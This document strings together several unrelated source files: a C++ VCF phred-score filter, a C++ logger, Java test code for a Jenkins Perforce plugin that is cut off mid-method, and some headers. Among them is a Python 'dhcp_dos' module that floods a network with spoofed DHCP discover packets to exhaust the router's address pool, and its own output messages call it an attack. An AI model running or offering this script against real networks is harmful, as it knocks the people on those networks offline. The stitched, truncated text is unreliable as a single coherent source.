text:
///////////////////////////////////////////////////////////////////////////////
//                   SOFTWARE COPYRIGHT NOTICE AGREEMENT                     //
//       This software and its documentation are copyright (2013) by the     //
//   Broad Institute.  All rights are reserved.  This software is supplied   //
//   without any warranty or guaranteed support whatsoever. The Broad        //
//   Institute is not responsible for its use, misuse, or functionality.     //
///////////////////////////////////////////////////////////////////////////////
/*
 * VariantPostProcess.cc
 *
 *  Created on: Sep 19, 2013
 *      Author: blau
 */

#include "paths/long/VariantPostProcess.h"
#include <cmath>
#include <map>
#include <fstream>
#include "TokenizeString.h"
#include <cstdio>
#include <functional>

//below is a line-by-line translation of translation of paths/long/scripts/filter_vcfs.py at r47584

//# filter_vcfs - filter variant lines where phred score in either REFP or
//# ALTP exceeds a threshold.
//#
//# The following rules apply:
//#
//# - already filtered lines are left alone (lines not marked as "PASS" or
//# ".")
//#
//# - lines that are "PASS" or "." with a phred score for any element in
//# ALTP or REFP which is >0 AND <threshold are marked as filtered (e.g.
//# "PhredFilter10" for lines filtered with a threshold of 10.
//#
//# - lines that are "." and pass the phred threshold are marked as
//# "PASS"
//#

//import sys
//import argparse
//import math

//def filter_vcf( input, output ):
bool filter_vcf(const String&input,const String& output){
    bool bError=false;

//  phred90 = int(-10.0*math.log10( 1.0-0.9 ))
    const int phred90 = int(-10.0*log10( 1.0-0.9 ));
//  phred995 = int(-10.0*math.log10( 1.0-0.995 ))
    const int phred995 = int(-10.0*log10( 1.0-0.995 ));
//  print "input={}, output={}, phred90={}, phred995={}".format(input, output, phred90, phred995)
    std::cout << "input=" << input << ", output=" << output << ", phred90=" << phred90 << ", phred995=" << phred995 << std::endl;

//  # new filters must be added below as symbol=("name","description")
//  # this is just to enforce consistency between what's in the head and
//  # in the body of the vcf
/*
  filters = dict(
      Filter090=( "PhredFilter{}".format(phred90), "Some allele was below prob 0.90 = phred {}".format(phred90) ),
      NoAllelesPass0995=( \
          "NoAllelesPassPhred{}".format(phred995), "Not one allele was above prob 0.995 = phred {}".format(phred995) ),
      RefCallOnly=( "RefCallOnly", "Non-variant line; only the reference was called" ),
      TooManyCalls=( "TooManyCalls", "Multi-allelic site (greater than two alleles)" )
  )
*/
    std::map<String,std::pair<String,String>> filters;
    filters["SFilter090"]=std::make_pair("PhredFilter"+ToString(phred90)
                                       ,"Some allele was below prob 0.90 = phred "+ToString(phred90));
    filters["NoAllelesPass0995"]=std::make_pair("NoAllelesPassPhred"+ToString(phred995)
                                               ,"Not one allele was above prob 0.995 = phred "+ToString(phred995));
    filters["RefCallOnly"]=std::make_pair("RefCallOnly","Non-variant line; only the reference was called");
    filters["TooManyCalls"]=std::make_pair("TooManyCalls","Multi-allelic site (greater than two alleles)");

//  with open(output, 'w') as fd:
    std::ofstream os(output,std::ios::out);
    std::ifstream is(input,std::ios::in);
    if( os.is_open() && is.is_open()){
//      for line in open(input, 'r'):
        String line;
        while(getline(is,line)){
//          if line[0] == '#':
            if( line[0] == '#'){
//              if line[:len("#CHROM")] == "#CHROM":
                if (line.substr(0,String("#CHROM").size()) == "#CHROM"){
//                  # dump out the ##FILTER lines before the #CHROM
//                  for id, descr in filters.viewvalues():
                    for( const auto& entry: filters){
//                      fd.write("##FILTER=<ID={id},Description=\"{descr}\">\n".format( id=id, descr=descr ))
                        os << "##FILTER=<ID="<<entry.second.first<<",Description=\""<<entry.second.second<<"\">"<<std::endl;
                    }
                }
//              fd.write(line)
                os<<line<<std::endl;
            }
//          else:
            else{
//              fields=line.split()
                vec<String> fields; Tokenize(line,fields);
//              (chrom,pos,id,ref,alt,qual,filter,info,format)=fields[:9]
                String chrom=fields[0], pos=fields[1], id=fields[2], ref=fields[3], alt=fields[4], qual=fields[5], filter=fields[6], info=fields[7], format=fields[8];
//              samples = fields[9:]
                vec<String> samples(fields.begin()+9,fields.end());
//              if len(samples) > 1:
//                  raise Exception("Does not yet work for multi-sample data.")
                if ( samples.size() > 1 ){
                    std::cout << "Does not yet work for multi-sample data." << std::endl;
                    bError=true;
                    break;
                }

//              # don't filter unless we're already passing or not yet filtered
//              if filter == '.' or filter == 'PASS':
                vec<String> new_samples;
                if (filter=="." or filter == "PASS"){
//                    names = format.split(':')
                    vec<String> names; Tokenize(format,':',names);
//                  if (not "REFP" in names) or (not "ALTP" in names):
//                      raise Exception("missing REFP and ALTP tags in line {}".format(line.strip() ) )
                    if (!Member(names,String("REFP"))  || !Member(names,String("ALTP"))){
                        std::cout << "missing REFP and ALTP tags in line " << line << std::endl;;
                        bError=true;
                        break;
                    }

//                  new_samples=[]
                    new_samples.clear();
//                  for sample in samples:
                    for( const auto& sample:samples){
//                      vals = sample.split(':')
                        vec<String> vals; Tokenize(sample,':',vals);

//                      if len(vals) != len(names):
//                          raise Exception("sample values {} doesn't match format {} for line {}".format(
//                              sample, format, line.strip()))
                        if(vals.size()!=names.size()){
                            std::cout << "sample values " << sample << " doesn't match format " << format << "for line " << line << std::endl;;
                            bError=true;
                            break;
                        }

//                      sample_info = dict( zip( names, vals ) )
                        std::map<String,String> sample_info;
                        for(size_t ii=0;ii<names.size();++ii) sample_info[names[ii]]=vals[ii];

//                      probs = [ float( sample_info['REFP'] ) ]
                        vec<double> probs(1,sample_info["REFP"].Double());
//                      probs.extend( map(float, sample_info['ALTP'].split(',') ) )
                        {
                            vec<String> tmp; Tokenize(sample_info["ALTP"],',',tmp);
                            std::transform(tmp.begin(),tmp.end(),back_inserter(probs),std::mem_fn(&String::Double));
                        }

//                      if True in map( lambda x: x>0 and x<phred90, probs ):
                        if ( any_of(probs.begin(),probs.end(),[&phred90](double x){return x>0 && x<phred90;} )){
//                          new_samples = samples
                            new_samples = samples;
//                          filter=filters['Filter090'][0]
                            filter=filters["SFilter090"].first;
//                          break
                            break;
                        }

//                      calls = map( lambda x: x > phred995, probs )
                        vec<unsigned int> calls;
                        std::transform(probs.begin(),probs.end(),back_inserter(calls),[&phred995](double x){return (unsigned int)(x>phred995);});

//                      if sum(calls) == 0:
                        if ( std::accumulate(calls.begin(),calls.end(),0) == 0 ){
//                          new_samples = samples
                            new_samples = samples;
//                          filter=filters['NoAllelesPass0995'][0]
                            filter=filters["NoAllelesPass0995"].first;
//                          break
                            break;
                        }

//                      if sum(calls) == 1 and calls[0] == True:
                        if ( std::accumulate(calls.begin(),calls.end(),0) == 1 && calls[0] > 0){
//                          new_samples = samples
                            new_samples = samples;
//                          filter=filters['RefCallOnly'][0]
                            filter=filters["RefCallOnly"].first;
//                          break
                            break;
                        }

//                      if sum(calls) > 2:
                        if ( std::accumulate(calls.begin(),calls.end(),0) > 2 ){
//                          new_samples = samples
                            new_samples = samples;
//                          filter=filters['TooManyCalls'][0]
                            filter=filters["TooManyCalls"].first;
//                          break
                            break;
                        }

//                      allele1 = calls.index(True)
                        size_t allele1 = find_if(calls.begin(),calls.end(),[](unsigned int x){return x!=0;})-calls.begin();
                        size_t allele2;

//                      if sum(calls) == 1:
                        if ( std::accumulate(calls.begin(),calls.end(),0) == 1 ){
//                          allele2 = allele1
                            allele2 = allele1;
                        }
//                      else:
                        else{
//                          allele2 = calls.index(True, allele1+1)
                            allele2 = find_if(calls.begin()+allele1+1,calls.end(),[](unsigned int x){return x!=0;})-calls.begin();
                        }

//                      gt_idx = names.index('GT')
                        size_t gt_idx = find_if(names.begin(),names.end(),[](String x){return x=="GT";})-names.begin();
//                      vals[gt_idx] = '{}/{}'.format(allele1, allele2)
                        vals[gt_idx] = ToString(allele1)+"/"+ToString(allele2);

//                      new_samples.append( ':'.join(vals) )
                        new_samples.push_back(vals[0]);
                        for(size_t ii=1;ii<vals.size();++ii){ new_samples.back().append(":"+vals[ii]); }
                    }
                    if(bError) break;
                }

//              # make passing "." lines a "PASS"
//              if filter == '.': filter = 'PASS'
                if (filter == ".") filter = "PASS";

//              fd.write( "\t".join( [chrom, pos, id, ref, alt, qual, filter, info, format] ) )
                os << chrom << "\t" << pos << "\t" << id << "\t" << ref << "\t" << alt << "\t"
                   << qual << "\t" << filter << "\t" << info << "\t" << format;
//              fd.write( "\t" )
//              fd.write( "\t".join( new_samples ) )
                for(const auto& entry:new_samples){ os << "\t" << entry;}
//              fd.write( "\n" )
                os<<std::endl;
            }
        }
        os.close();
        is.close();
        if(bError){
            remove(output.c_str());
        }
    }
    else{
        if( !is.is_open()){
            std::cout << "failed to open " << input << std::endl;
        }
        if( !os.is_open()){
            std::cout << "failed to open " << output << std::endl;
        }
        else{
            remove(output.c_str());
        }
        bError=true;
    }
    return bError;
}

/*
def main( argv=[__name__] ):
    parser=argparse.ArgumentParser(description='filter Discovar-generated VCF based on REFP/ALTP')
    parser.add_argument( '-o', '--output', help='VCF output file', required=True)
    parser.add_argument( 'input', help='VCF input file' )
    args = parser.parse_args(argv[1:])

    return(filter_vcf( args.input, args.output ) )

if __name__ == "__main__":
    sys.exit(main(sys.argv))
*/


text:
from core.hakkuframework import *
from core import colors
import threading, queue
import scapy.all as scapy
from scapy.all import conf as confs
import random

conf = {
    "name": "dhcp_dos", # Module's name (should be same as file name)
    "version": "1.0", # Module version
    "shortdesc": "dhcp denial of service", # Short description
    "github": "4shadoww", # Author's github
    "author": "4shadoww", # Author
    "email": "4shadoww0@gmail.com", # Email
    "initdate": "2017-01-01", # Initial date
    "lastmod": "2017-01-01", # Last modification
    "apisupport": False, # Api support
    "needroot": 1, # Alert user if root permissions not available (remove variable below if root permissions not needed)
}

# List of the variables
variables = OrderedDict((
    ('router', ['192.168.1.1', 'router ip address']),
    ('packet_count', ['100', 'count of packets [0 = infinite]']),
))

# Simple changelog
changelog = "Version 1.0:\nrelease"

class DhcpRequest(threading.Thread):
    last = 0
    router = None
    def __init__(self, router, last):
        self.router = router
        self.last = str(last)
        threading.Thread.__init__(self)

    def run(self):
        baseip = ".".join(self.router.split('.')[0:-1]) + '.'
        targetip = baseip+self.last
        confs.checkIPaddr = False
        hw = scapy.get_if_raw_hwaddr(confs.iface)
        dhcp_discover = scapy.Ether(src=scapy.RandMAC(),dst="ff:ff:ff:ff:ff:ff")/\
        scapy.IP(src="0.0.0.0",dst="255.255.255.255")/\
        scapy.UDP(sport=68,dport=67)/\
        scapy.BOOTP(chaddr=scapy.RandString(scapy.RandNum(1,50)))/\
        scapy.DHCP(options=[("message-type","discover"),"end"])
        scapy.sendp(dhcp_discover, verbose=0)

def run():
    print_info("attack has been started...")
    try:
        last = int(variables["packet_count"][0])
    except ValueError:
        print_error("invalid packets count")
    threads = []
    try:
        if last != 0:
            for i in range(0, last):
                dhcpr = DhcpRequest(variables["router"][0], i+2)
                dhcpr.start()
                threads.append(dhcpr)

        else:
            i = 2
            while 1:
                dhcpr = DhcpRequest(variables["router"][0], i)
                dhcpr.start()
                threads.append(dhcpr)
                i += 1
    except KeyboardInterrupt:
        print_info("kill signal received stopping attack...")
        for thread in threads:
            thread.join()
    print_info("attack ended")

redpajama_set_name: RedPajamaGithub


text:
package bpmn;

import org.junit.runner.RunWith;
import org.junit.runners.Suite;
import org.junit.runners.Suite.SuiteClasses;

@RunWith(Suite.class)
@SuiteClasses({
		GatewayExclusiveTestcase.class,
		GatewayInclusiveTestcase.class,
		GatewayParallelTestcase.class
})
public class GatewayTests {

}


text:
namespace multiverso {

MV_DEFINE_bool(logtostderr, false, "whether output log to stderr");

// Creates a Logger instance writing messages into STDOUT.
Logger::Logger(LogLevel level) {
  level_ = level;
  file_ = nullptr;
  is_kill_fatal_ = true;
}

// Creates a Logger instance writing messages into both STDOUT and log file.
Logger::Logger(std::string filename, LogLevel level) {
  level_ = level;
  file_ = nullptr;
  ResetLogFile(filename);
}

Logger::~Logger() {
  CloseLogFile();
}

int Logger::ResetLogFile(std::string filename) {
  CloseLogFile();
  if (filename.size() > 0) {  // try to open the log file if it is specified
#ifdef _MSC_VER
    fopen_s(&file_, filename.c_str(), "w");
#else
    file_ = fopen(filename.c_str(), "w");
#endif
    if (file_ == nullptr) {
      Write(LogLevel::Error, "Cannot create log file %s\n", filename.c_str());
      return -1;
    }
  }
  return 0;
}

void Logger::Write(LogLevel level, const char *format, ...) {
  va_list val;
  va_start(val, format);
  WriteImpl(level, format, &val);
  va_end(val);
}

void Logger::Debug(const char *format, ...) {
  va_list val;
  va_start(val, format);
  WriteImpl(LogLevel::Debug, format, &val);
  va_end(val);
}

void Logger::Info(const char *format, ...) {
  va_list val;
  va_start(val, format);
  WriteImpl(LogLevel::Info, format, &val);
  va_end(val);
}

void Logger::Error(const char *format, ...) {
  va_list val;
  va_start(val, format);
  WriteImpl(LogLevel::Error, format, &val);
  va_end(val);
}

void Logger::Fatal(const char *format, ...) {
  va_list val;
  va_start(val, format);
  WriteImpl(LogLevel::Fatal, format, &val);
  va_end(val);
}

inline void Logger::WriteImpl(LogLevel level,
    const char *format, va_list* val) {
  if (level >= level_) {  // omit the message with low level
    std::string level_str = GetLevelStr(level);
    std::string time_str = GetSystemTime();
    va_list val_copy;
    va_copy(val_copy, *val);
    // write to STDOUT
    if (MV_CONFIG_logtostderr) {
      fprintf(stderr, "[%s] [%s] ", level_str.c_str(), time_str.c_str());
      vfprintf(stderr, format, *val);
    } else {
      printf("[%s] [%s] ", level_str.c_str(), time_str.c_str());
      vprintf(format, *val);
      fflush(stdout);
    }
    // write to log file
    if (file_ != nullptr) {
      fprintf(file_, "[%s] [%s] ", level_str.c_str(), time_str.c_str());
      vfprintf(file_, format, val_copy);
      fflush(file_);
    }
    va_end(val_copy);

    if (is_kill_fatal_ && level == LogLevel::Fatal) {
      CloseLogFile();
      exit(1);
    }
  }
}

// Closes the log file if it it not null.
void Logger::CloseLogFile() {
  if (file_ != nullptr) {
    fclose(file_);
    file_ = nullptr;
  }
}

std::string Logger::GetSystemTime() {
  time_t t = time(0);
  char str[64];
#ifdef _MSC_VER
  tm time;
  localtime_s(&time, &t);
  strftime(str, sizeof(str), "%Y-%m-%d %H:%M:%S", &time);
#else
  strftime(str, sizeof(str), "%Y-%m-%d %H:%M:%S", localtime(&t));
#endif
  return str;
}

std::string Logger::GetLevelStr(LogLevel level) {
  switch (level) {
  case LogLevel::Debug: return "DEBUG";
  case LogLevel::Info: return "INFO";
  case LogLevel::Error: return "ERROR";
  case LogLevel::Fatal: return "FATAL";
  default: return "UNKNOW";
  }
}
//-- End of Logger routine ----------------------------------------------/

Logger Log::logger_;    // global (in process) static Logger instance

int Log::ResetLogFile(std::string filename) {
  return logger_.ResetLogFile(filename);
}

void Log::ResetLogLevel(LogLevel level) {
  logger_.ResetLogLevel(level);
}

void Log::ResetKillFatal(bool is_kill_fatal) {
  logger_.ResetKillFatal(is_kill_fatal);
}

void Log::Write(LogLevel level, const char *format, ...) {
  va_list val;
  va_start(val, format);
  logger_.WriteImpl(level, format, &val);
  va_end(val);
}

void Log::Debug(const char *format, ...) {
  va_list val;
  va_start(val, format);
  logger_.WriteImpl(LogLevel::Debug, format, &val);
  va_end(val);
}

void Log::Info(const char *format, ...) {
  va_list val;
  va_start(val, format);
  logger_.WriteImpl(LogLevel::Info, format, &val);
  va_end(val);
}

void Log::Error(const char *format, ...) {
  va_list val;
  va_start(val, format);
  logger_.WriteImpl(LogLevel::Error, format, &val);
  va_end(val);
}

void Log::Fatal(const char *format, ...) {
  va_list val;
  va_start(val, format);
  logger_.WriteImpl(LogLevel::Fatal, format, &val);
  va_end(val);
}

}  // namespace multiverso


text:
namespace webui {

// Opens a new window for |profile|, or:
// - if the profile is locked, opens the user manager instead
// - if the profile picker is already open, focuses it instead
// Exposed for testing.
void OpenNewWindowForProfile(Profile* profile);

// Deletes the profile at the given |file_path|.
void DeleteProfileAtPath(base::FilePath file_path,
                         ProfileMetrics::ProfileDelete deletion_source);

}  // namespace webui

#endif  // CHROME_BROWSER_UI_WEBUI_PROFILE_HELPER_H_


text:
#pragma once

#include "MainPage.g.h"

namespace InkEraseSelect
{
    public ref class MainPage sealed
    {
    private:
        Windows::UI::Input::Inking::InkManager^ inkManager;
        Windows::UI::Input::Inking::InkDrawingAttributes^ inkDrawingAttributes;
        bool hasPen;
        Platform::Collections::Map<unsigned int, Windows::Foundation::Point>^ pointerDictionary;
        Windows::UI::Xaml::Media::Brush^ selectionBrush;

    public:
        MainPage();

    protected:
        virtual void OnPointerPressed(Windows::UI::Xaml::Input::PointerRoutedEventArgs^ args) override;
        virtual void OnPointerMoved(Windows::UI::Xaml::Input::PointerRoutedEventArgs^ args) override;
        virtual void OnPointerReleased(Windows::UI::Xaml::Input::PointerRoutedEventArgs^ args) override;
        virtual void OnPointerCaptureLost(Windows::UI::Xaml::Input::PointerRoutedEventArgs^ args) override;

        void RenderAll();
        void RenderStroke(Windows::UI::Input::Inking::InkStroke^ inkStroke);
        static void RenderBeziers(Windows::UI::Xaml::Controls::Panel^ panel,
                                  Windows::UI::Input::Inking::InkStroke^ inkStroke,
                                  Windows::UI::Color color,
                                  double penSize);

        void OnAppBarOpened(Platform::Object^ sender, Platform::Object^ args);
        void OnCopyAppBarButtonClick(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ args);
        void OnCutAppBarButtonClick(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ args);
        void OnPasteAppBarButtonClick(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ args);
        void OnDeleteAppBarButtonClick(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ args);
    };
}


text:
package org.jenkinsci.plugins.p4.client;

import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import hudson.model.Action;
import hudson.model.AutoCompletionCandidates;
import hudson.model.FreeStyleBuild;
import hudson.model.ParameterValue;
import hudson.model.Result;
import hudson.model.Cause;
import hudson.model.Cause.UserIdCause;
import hudson.model.Descriptor;
import hudson.model.FreeStyleProject;
import hudson.model.ParametersAction;
import hudson.model.StringParameterValue;
import hudson.scm.RepositoryBrowser;
import hudson.scm.SCMDescriptor;
import hudson.util.FormValidation;
import hudson.util.LogTaskListener;
import hudson.util.ListBoxModel;

import java.io.File;
import java.net.InetAddress;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;

import net.sf.json.JSONObject;

import org.jenkinsci.plugins.p4.DummyServer;
import org.jenkinsci.plugins.p4.P4Server;
import org.jenkinsci.plugins.p4.PerforceScm;
import org.jenkinsci.plugins.p4.PerforceScm.DescriptorImpl;
import org.jenkinsci.plugins.p4.browsers.P4WebBrowser;
import org.jenkinsci.plugins.p4.browsers.SwarmBrowser;
import org.jenkinsci.plugins.p4.credentials.P4PasswordImpl;
import org.jenkinsci.plugins.p4.filters.Filter;
import org.jenkinsci.plugins.p4.filters.FilterPerChangeImpl;
import org.jenkinsci.plugins.p4.populate.AutoCleanImpl;
import org.jenkinsci.plugins.p4.populate.Populate;
import org.jenkinsci.plugins.p4.review.ReviewProp;
import org.jenkinsci.plugins.p4.workspace.ManualWorkspaceImpl;
import org.jenkinsci.plugins.p4.workspace.StaticWorkspaceImpl;
import org.jenkinsci.plugins.p4.workspace.StreamWorkspaceImpl;
import org.jenkinsci.plugins.p4.workspace.TemplateWorkspaceImpl;
import org.jenkinsci.plugins.p4.workspace.Workspace;
import org.jenkinsci.plugins.p4.workspace.WorkspaceDescriptor;
import org.jenkinsci.plugins.p4.workspace.WorkspaceSpec;
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
import org.jvnet.hudson.test.JenkinsRule;

import com.cloudbees.plugins.credentials.CredentialsDescriptor;
import com.cloudbees.plugins.credentials.CredentialsScope;
import com.cloudbees.plugins.credentials.SystemCredentialsProvider;
import com.gargoylesoftware.htmlunit.html.HtmlForm;
import com.gargoylesoftware.htmlunit.html.HtmlPage;
import com.perforce.p4java.Metadata;
import com.perforce.p4java.client.IClient;

public class ConnectionTest {

	private static Logger logger = Logger.getLogger(ConnectionTest.class
			.getName());

	private final String credential = "id";
	private static String PWD = System.getProperty("user.dir") + "/";
	private static String P4BIN = "src/test/resources/r14.1/";
	private final static String P4ROOT = "tmp-p4root";
	private final static String P4PORT = "localhost:1999";
	private final static int HTTP_PORT = 1888;
	private final static String HTTP_URL = "http://localhost:" + HTTP_PORT;
	private final int LOG_LIMIT = 1000;

	private final static P4Server p4d = new P4Server(PWD + P4BIN, P4ROOT,
			P4PORT);

	@Rule
	public JenkinsRule jenkins = new JenkinsRule();

	@BeforeClass
	public static void setupServer() throws Exception {
		File ckp = new File("src/test/resources/checkpoint.gz");
		assertTrue(ckp.exists());

		File depot = new File("src/test/resources/depot.tar.gz");
		assertTrue(depot.exists());

		p4d.clean();

		File root = new File(P4ROOT);
		assertTrue(root.exists());

		p4d.restore(ckp);
		p4d.upgrade();
		p4d.extract(depot);

		// start pseudo web server
		startHttpServer(HTTP_PORT);
	}

	@Before
	public void startServer() throws Exception {
		p4d.start();
	}

	@After
	public void stopServer() throws Exception {
		p4d.stop();
	}

	@AfterClass
	public static void cleanServer() throws Exception {
		p4d.clean();
	}

	@Test
	public void testCheckP4d() throws Exception {
		int ver = p4d.getVersion();
		assertTrue(ver >= 20121);
	}

	@Test
	public void testCredentialsList() throws Exception {
		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Static-Head");
		Workspace workspace = new StaticWorkspaceImpl("none", false, "test.ws");
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		SCMDescriptor<?> desc = project.getScm().getDescriptor();
		assertNotNull(desc);

		PerforceScm.DescriptorImpl impl = (DescriptorImpl) desc;
		ListBoxModel list = impl.doFillCredentialItems();
		assertTrue(list.size() == 1);

		FormValidation form = impl.doCheckCredential(credential);
		assertEquals(FormValidation.Kind.OK, form.kind);
	}

	@Test
	public void testFreeStyleProject_buildHead() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Static-Head");
		Workspace workspace = new StaticWorkspaceImpl("none", false, "test.ws");
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());

		List<String> log = build.getLog(LOG_LIMIT);
		assertTrue(log.contains("P4 Task: syncing files at change: 40"));

		CredentialsDescriptor desc = auth.getDescriptor();
		assertNotNull(desc);
		assertEquals("Perforce Password Credential", desc.getDisplayName());
		P4PasswordImpl.DescriptorImpl impl = (P4PasswordImpl.DescriptorImpl) desc;
		FormValidation form = impl.doTestConnection(P4PORT, "false", null,
				"jenkins", "0", "jenkins");
		assertEquals(FormValidation.Kind.OK, form.kind);
	}

	@Test
	public void testPinHost_ManualWs() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String client = "manual.ws";
		String stream = null;
		String line = "LOCAL";
		String view = "//depot/Data/... //" + client + "/...";
		WorkspaceSpec spec = new WorkspaceSpec(false, false, false, false,
				false, false, stream, line, view);

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Manual-Head");
		ManualWorkspaceImpl workspace = new ManualWorkspaceImpl("none", true,
				client, spec);
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());

		// Log in with client for next set of tests...
		ClientHelper p4 = new ClientHelper(auth, null, "manual.ws");
		IClient iclient = p4.getClient();
		String clienthost = iclient.getHostName();
		String hostname = InetAddress.getLocalHost().getHostName();

		assertNotNull(clienthost);
		assertEquals(hostname, clienthost);
	}

	@Test
	public void testFreeStyleProject_buildChange() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Static-Change");
		StaticWorkspaceImpl workspace = new StaticWorkspaceImpl("none", false,
				"test.ws");
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		List<ParameterValue> list = new ArrayList<ParameterValue>();
		list.add(new StringParameterValue(ReviewProp.STATUS.toString(),
				"committed"));
		list.add(new StringParameterValue(ReviewProp.CHANGE.toString(), "9"));
		Action actions = new ParametersAction(list);

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause, actions).get();
		assertEquals(Result.SUCCESS, build.getResult());

		List<String> log = build.getLog(LOG_LIMIT);
		assertTrue(log.contains("P4 Task: syncing files at change: 9"));

		// Check web pages for changes
		HtmlPage page = jenkins.createWebClient().getPage(build);
		String text = page.asText();
		assertTrue(text.contains("9 by jenkins@jenkins.data.ws"));

		page = jenkins.createWebClient().getPage(build, "changes");
		text = page.asText();
		assertTrue(text.contains("//depot/Main/file-11.txt#4"));

		// Check workspace descriptors
		WorkspaceDescriptor desc = workspace.getDescriptor();
		assertNotNull(desc);
		assertEquals("Static (static view, master only)", desc.getDisplayName());
		ListBoxModel charsets = desc.doFillCharsetItems();
		assertTrue(charsets.size() > 1);

		// Log in for next set of tests...
		ConnectionHelper p4 = new ConnectionHelper(auth);
		p4.login();

		StaticWorkspaceImpl.DescriptorImpl impl = (StaticWorkspaceImpl.DescriptorImpl) desc;
		FormValidation form = impl.doCheckName("test.ws");
		assertEquals(FormValidation.Kind.OK, form.kind);

		AutoCompletionCandidates clients = impl.doAutoCompleteName("j");
		assertTrue(clients.getValues().contains("jenkins.data.ws"));
	}

	@Test
	public void testFreeStyleProject_buildLabel() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		URL url = new URL("http://localhost");
		P4WebBrowser browser = new P4WebBrowser(url);

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Static-Change");
		StaticWorkspaceImpl workspace = new StaticWorkspaceImpl("none", false,
				"test.ws");
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, null,
				populate, browser);
		project.setScm(scm);
		project.save();

		List<ParameterValue> list = new ArrayList<ParameterValue>();
		list.add(new StringParameterValue(ReviewProp.STATUS.toString(),
				"committed"));
		list.add(new StringParameterValue(ReviewProp.LABEL.toString(), "auto15"));
		list.add(new StringParameterValue(ReviewProp.PASS.toString(), HTTP_URL
				+ "/pass"));
		Action actions = new ParametersAction(list);

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause, actions).get();
		assertEquals(Result.SUCCESS, build.getResult());

		List<String> log = build.getLog(LOG_LIMIT);
		assertTrue(log.contains("P4 Task: syncing files at change: 15"));

		// Check web pages for changes
		HtmlPage page = jenkins.createWebClient().getPage(build);
		String text = page.asText();
		assertTrue(text.contains("15 by jenkins@jenkins.data.ws"));

		page = jenkins.createWebClient().getPage(build, "changes");
		text = page.asText();
		assertTrue(text.contains("//depot/Main/file-14.txt #7"));

		page = jenkins.createWebClient().getPage(build, "tagBuild");
		HtmlForm label = page.getFormByName("label");
		label.submit();

		page = jenkins.createWebClient().getPage(build, "tagBuild");
		text = page.asText();
		assertTrue(text.contains("Build-1\tJenkinsBuild: #1\tjenkins\t@15"));

		// Check browser
		Descriptor<RepositoryBrowser<?>> desc = browser.getDescriptor();
		assertNotNull(desc);

		P4WebBrowser.DescriptorImpl impl = (P4WebBrowser.DescriptorImpl) desc;
		FormValidation form = impl.doCheck(url.toString());
		assertEquals(FormValidation.Kind.OK, form.kind);
	}

	@Test
	public void testFreeStyleProject_buildShelf() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		URL url = new URL("http://localhost");
		SwarmBrowser browser = new SwarmBrowser(url);

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Static-Shelf");
		Workspace workspace = new StaticWorkspaceImpl("none", false, "test.ws");
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, null,
				populate, browser);
		project.setScm(scm);
		project.save();

		List<ParameterValue> list = new ArrayList<ParameterValue>();
		list.add(new StringParameterValue(ReviewProp.STATUS.toString(),
				"shelved"));
		list.add(new StringParameterValue(ReviewProp.REVIEW.toString(), "19"));
		list.add(new StringParameterValue(ReviewProp.PASS.toString(), HTTP_URL
				+ "/pass"));
